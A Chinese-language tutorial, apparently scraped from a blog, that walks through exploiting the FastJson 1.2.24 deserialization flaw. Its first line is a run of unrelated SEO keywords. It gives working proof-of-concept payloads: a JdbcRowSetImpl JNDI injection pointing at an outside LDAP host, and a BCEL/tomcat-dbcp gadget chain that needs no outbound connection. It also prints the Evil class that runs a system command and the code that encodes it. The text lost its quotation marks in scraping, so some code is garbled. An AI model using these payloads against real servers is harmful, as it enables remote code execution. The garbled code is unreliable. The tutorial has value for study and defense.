长沙网站排名方法,tq网站建设,南阳网站seo顾问,网站项目开发收费标准FastJson反序列化漏洞
与原生的 Java 反序列化的区别在于#xff0c;FastJson 反序列化并未使用 readObject 方法#xff0c;而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法#xff0c;将JSON 字符串还原成对…FastJson反序列化漏洞
与原生的 Java 反序列化的区别在于FastJson 反序列化并未使用 readObject 方法而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法将JSON 字符串还原成对象当这些自动调用的方法中存在可利用的潜在危险代码时漏洞便产生了。
fastjson用法
1.将字符串转换为json格式通过key获取value
class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式提取相关数据
String s {\name\:\小红\,\age\:\18\};
JSONObject jsonobject (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get(name));
}}
小红这么简单好用的一个功能为什么会出现漏洞
2.将JSON还原成对象
class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式提取相关数据
String s {\name\:\小红\,\age\:\18\};
JSONObject jsonobject (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get(name));
}}
小红
class User {
private String id;
User() {
System.out.println(User go);
}
public void setId(String ids) {
System.out.println(setId go);
this.id ids;
}
public String getId() {
System.out.println(GetId go);
return this.id;
}
}
public class Fastjson {
public static void main(String[] args) {
User a new User();
String json JSON.toJSONString(a); //序列化 转为json
// System.out.println(json);
System.out.println(JSON.parseObject(json,User.class)); //反序列化 转为
原始数据
}
}result会自动调用 Get方法和构造方法。 fastjson漏洞产生原因
public class Fastjson {
public static void main(String[] args) {
JSONObject jsonObject
JSON.parseObject({\type\:\Java_deserialization.User\,\id\:\123\});
System.out.println(jsonObject);
}
}result会自动调用GetSet构造方法。 这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值 {type:Java_deserialization.User,id:123}其中type后面跟进的就是我们所需要还原的对象 可控后面跟进的id也就是这个类里面的属性如果有一个fastjson反序列化点可控那么我们就可以随 意指定一个恶意类如果这个恶意类里面的构造方法或者GetSet方法调用了恶意的方法那么就会造成 反序列化漏洞。
fastjson什么时候会调用get方法
细节就不调试了感兴趣可以调试JavaBeanInfo.build() 里面的规则
● 只存在 getter 方法无 setter 方法。
● 方法名称长度大于等于4。
● 非静态方法。
● 方法名以 get 开头且第四个字符为大写字母例如 getAge。
● 方法无须入参。
● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和 AtomicLong 的其中一个。
fastjson1.2.24-JndI注入
Poc
public class Fastjson {
public static void main(String[] args) {
System.out.println(JSON.parseObject(
{\type\:\com.sun.rowset.JdbcRowSetImpl\,
\dataSourceName\:\ldap://erh3yu.dnslog.cn\,
\autoCommit\:\true\}));
}
}根据之前的分析可以知道攻击者指定了一个类 typecom.sun.rowset.JdbcRowSetImpl然后给类里面的属性进行了赋值就跟之前的id一样的那么赋值以后就会调用对应的set方法也许危险代码 就在set方法里面
1.调用set方法dataSourceName 2.调用setAutoCommit方法为什么是true这里autoCommit是一个布尔值你传false 或者01都可以。 会进入caonnect方法危险方法就是这个connect
3.connect方法 熟悉Java的朋友就会知道这是一个Jndi注入点其中里面的dataSourceName是可控的就是我们刚刚传 入的ldap协议这里就不过多的阐述ldap协议了后面会单独的去做笔记。ldap协议属于jndi里面的一 种可以远程动态加载其他服务器上面的资源如果远程加载的对象可控那么我们就可以远程加载自己构 建的恶意类。
4.这里我们跟进lookup看看 5.getURLOrDefaultInitCtx方法 这里会对我们传入的uri进行判断判断是什么协议比如ldaprmi等远程加载数据的协议。
fastjson1.2.24-BCEL不出网打法
刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法如果机器在内网无法访问互联网那么这种方法就失败了虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码但是需要开启 Feature.SupportNonPublicField 并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖但 在实际攻击中还算是比较常见的。
复现环境
dependency
groupIdcom.alibaba/groupId
artifactIdfastjson/artifactId
version1.2.24/version
/dependency
dependency
groupIdorg.apache.tomcat/groupId
artifactIdtomcat-dbcp/artifactId
version9.0.20/version
/dependency
// tomcat-bdcp在7还是8版本一下名称叫做dbcp大家引入的时候注意一下POC
{
type: org.apache.tomcat.dbcp.dbcp2.BasicDataSource,
driverClassLoader: {
type: com.sun.org.apache.bcel.internal.util.ClassLoader
},
driverClassName: $$BCEL$$$l$8b......
}这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码网上很多 的人都没有说明也没有告诉大家如何生成后面部分会为一步一步说。
分析
正常使用BCEL
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
//不考虑fastjson情况就正常调用该类
ClassLoader classLoader new ClassLoader();
byte[] bytes fileToBinArray(new File(D:\\Evil.class));
String code Utility.encode(bytes,true);
classLoader.loadClass($$BCEL$$code).newInstance();
//将文件转为字节码数组
public static byte[] fileToBinArray(File file){
try {
InputStream fis new FileInputStream(file);
byte[] bytes FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException(transform file into bin Array 出错,ex);
}
}
}
//恶意类
package Java_deserialization;
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static {
try {
Runtime rt Runtime.getRuntime();
String[] commands {calc};
Process pc rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
//javac Evil.java 转为.class动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类ClassLoader类里面有一个
loadClass方法如果满足方法里面的条件就可以动态调用恶意代码其中恶意代码是通过BCEL格式传入
的。代码很简单创建一个对象然后调用loadClass方法需要注意的是为什么我们需要做编码这一步String code Utility.encode(bytes,true);
我们在调用loadClass方法的时候会调用 creatClass方法这里需要跟进去看看 可以看到在进入到 creatClass方法以后会对数据进行解码所以在之前我们需要进行编码而且为了满足 条件需要加上“$$BCEL$$”相关的字符串才能绕过if判断。 成功执行命令那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。
tomcat-dbcp
结合tomcat-dbcp这个类进行组合达到触发fastjson的目的
tomcat-dbcp里面有一个BasicDataSource类在反序列化的时候会调用getConnection()方法 getConnection()方法在返回的时候会调用createDataSource()方法 createDataSource()方法又会调用createConnectionFactory()方法 问题代码
driverFromCCL Class.forName(driverClassName, true, driverClassLoader);正常BCEL的代码
ClassLoader classLoader new ClassLoader();
classLoader.loadClass($$BCEL$$code).newInstance();通过动态类加载调用我们的loadclass如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码恰巧这里有对应的set方法那么在fastjson反序列化中就会调用set方法来达到可控的目的 public class fastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader new ClassLoader();
byte[] bytes fileToBinArray(new File(D:\\Evil.class));
String code Utility.encode(bytes,true);
BasicDataSource basicDataSource new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName($$BCEL$$code);
basicDataSource.getConnection();
}攻击链 换成正常POC测试
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
byte[] bytes fileToBinArray(new File(D:\\Evil.class));
String code Utility.encode(bytes,true);
String s
{\type\:\org.apache.tomcat.dbcp.dbcp2.BasicDataSource\,\driverClassName\:
\$$BCEL$$ code \,\driverClassloader\:
{\type\:\com.sun.org.apache.bcel.internal.util.ClassLoader\}};
JSON.parseObject(s);
}